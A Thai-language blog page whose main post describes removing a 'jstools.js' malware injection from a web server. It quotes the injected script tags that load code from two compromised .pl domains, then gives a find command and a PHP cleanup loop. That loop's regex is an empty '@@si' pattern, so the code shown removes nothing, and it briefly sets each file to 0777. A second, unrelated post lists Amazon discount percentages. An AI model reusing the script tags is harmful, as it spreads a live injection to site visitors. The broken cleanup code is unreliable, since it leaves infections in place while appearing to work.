Malware jstools.js

Written on 11:56 AM by ปั้มเงิน Cookie Run

วันนี้ก็ต้องมานั่งแก้ Malware jstools.js ขยันติดจริง เจ้า Malware jstools.js โดยลักษณะของ Code Malware ตัวนี้คือ
<script src="http://xn--wytrwa-g1a.tarnobrzeg.pl/jstools.js" type="text/javascript">
</script>
<script src="http://xn--niewraliwo-zhb12hem.swidnica.pl/jstools.js" type="text/javascript">
</script>


แล้วก็อื่นอีกหลายตัว แต่ลงท้ายด้วย/jstools.js

OK~ เรามาเริ่มวิธีจัดการมันเลยดีกว่า
ขั้นแรก เราต้องค้าหาไฟล์ที่ติดก่อน ในที่นี้คือไฟล์ indexและ main
find /home -name 'index.php' -or -name 'index.html' -or -name 'index.htm' -or -name 'main.php' -or -name 'main.html' -or -name 'main.htm' -or -name 'default.php' -or -name 'default.html' -or -name 'default.htm' >errors.txt
เนื่องจากผมต้องมานั่งแก้ทั้ง Server วิธีที่ดีที่สุดคือหาไฟล์เหล่านี้มาเก็บไว้ก่อนแล้วค่อย รันคำสั่งแก้ทีเดี่ยว เพราะถ้าไม่ทำแบบนี้มันจะหนัก Server.

ขั้นต่อมา คือเขียนคำสั่งวนลูป อ่านไฟล์ errors.txt หรือ ไฟล์ที่เก็บรายชื่อไฟล์ที่น่าจะติด Malware jstools.js ครับ ในที่นี่ผมเขียนคำสั่ง PHP แก้เอาง่ายดี เหอะๆ.

<?php
$inum = 0;
$files = "/home/errors.txt";
if(file_exists($files))
{
$filelist = file($files);
foreach($filelist as $file)
{
$text = $count = false;
if( trim($file) !== '' ) $file = trim($file);
$str = array('@@si');
chmod($file,0777);
$fp = fopen($file, 'r');
$text = @fread($fp, filesize($file));
$text = preg_replace($str, '', $text, -1 , $count);
fclose($fp);
$fp = fopen($file, 'w+');
fwrite($fp, $text);
fclose($fp);
chmod($file,0444);

if($count){
++$inum;
$fh = fopen('/home/log.txt', 'a');
$log = $file." Edit:{$count}\r\n";
fwrite($fh, $log);
fclose($fh);
echo $inum;
echo $file."\n";
}
}

}
?>


แค่นี้ละจบกันทีกับ Malware jstools.js

Found It! Amazon.com Discount List

Written on 12:13 PM by ปั้มเงิน Cookie Run

Found It! Amazon.com Discount List
Apparel: 90% 80% 70% 60% 50% 40% 30% 20% 10%
Automotive: 90% 80% 70% 60% 50% 40% 30% 20% 10%
Baby: 90% 80% 70% 60% 50% 40% 30% 20% 10%
Beauty: 90% 80% 70% 60% 50% 40% 30% 20% 10%
Books: 90% 80% 70% 60% 50% 40% 30% 20% 10%
Books (Kindle): 90% 80% 70% 60% 50% 40% 30% 20% 10%
Camera & Photo: 90% 80% 70% 60% 50% 40% 30% 20% 10%
Cell Phones: 90% 80% 70% 60% 50% 40% 30% 20% 10%
Cell Phone Accessories: 90% 80% 70% 60% 50% 40% 30% 20% 10%
Computer Hardware: 90% 80% 70% 60% 50% 40% 30% 20% 10%
Computer Software: 90% 80% 70% 60% 50% 40% 30% 20% 10%
Electronics: 90% 80% 70% 60% 50% 40% 30% 20% 10%
Gourmet Food: 90% 80% 70% 60% 50% 40% 30% 20% 10%
Grocery: 90% 80% 70% 60% 50% 40% 30% 20% 10%
Health & Personal Care: 90% 80% 70% 60% 50% 40% 30% 20% 10%
Home & Garden: 90% 80% 70% 60% 50% 40% 30% 20% 10%
Home Improvement: 90% 80% 70% 60% 50% 40% 30% 20% 10%
Industrial & Scientific: 90% 80% 70% 60% 50% 40% 30% 20% 10%
Jewelry: 90% 80% 70% 60% 50% 40% 30% 20% 10%
Kitchen & Dining: 90% 80% 70% 60% 50% 40% 30% 20% 10%
Magazine Subscriptions: 90% 80% 70% 60% 50% 40% 30% 20% 10%
Miscellaneous: 90% 80% 70% 60% 50% 40% 30% 20% 10%
Music: 90% 80% 70% 60% 50% 40% 30% 20% 10%
Musical Instruments: 90% 80% 70% 60% 50% 40% 30% 20% 10%
Office Products: 90% 80% 70% 60% 50% 40% 30% 20% 10%
Outdoor Living: 90% 80% 70% 60% 50% 40% 30% 20% 10%
Pet Supplies: 90% 80% 70% 60% 50% 40% 30% 20% 10%
Sporting Goods: 90% 80% 70% 60% 50% 40% 30% 20% 10%
Toys & Games: 90% 80% 70% 60% 50% 40% 30% 20% 10%
Video (DVD): 90% 80% 70% 60% 50% 40% 30% 20% 10%
Video (VHS): 90% 80% 70% 60% 50% 40% 30% 20% 10%
Video Games: 90% 80% 70% 60% 50% 40% 30% 20% 10%
Watches: 90% 80% 70% 60% 50% 40% 30% 20% 10%

X Close